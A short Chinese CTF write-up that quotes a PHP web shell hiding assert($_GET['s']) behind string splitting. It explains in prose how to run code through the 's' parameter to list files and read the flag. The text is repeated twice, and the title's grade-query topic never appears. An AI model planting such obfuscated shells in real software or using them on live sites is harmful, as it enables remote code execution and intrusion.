Web 安全 Shell 注入与成绩查询漏洞解析

打开页面，发现一片空白。

观察题目中的代码逻辑：

$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s']);

上述代码通过 explode() 函数将字符串按 # 分割并重新拼接为 assert，随后执行 assert($_GET['s'])。

由于存在 GET 参数 s，可在 URL 中传递该参数进行代码执行。

利用此特性获取文件列表，发现 flaga15808abee46a1d5.txt 和 index.php。

直接读取 flaga15808abee46a1d5.txt 即可获得 Flag。

打开页面，发现一片空白。

观察题目中的代码逻辑：

$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s']);

上述代码通过 explode() 函数将字符串按 # 分割并重新拼接为 assert，随后执行 assert($_GET['s'])。

由于存在 GET 参数 s，可在 URL 中传递该参数进行代码执行。

利用此特性获取文件列表，发现 flaga15808abee46a1d5.txt 和 index.php。

直接读取 flaga15808abee46a1d5.txt 即可获得 Flag。

更多推荐文章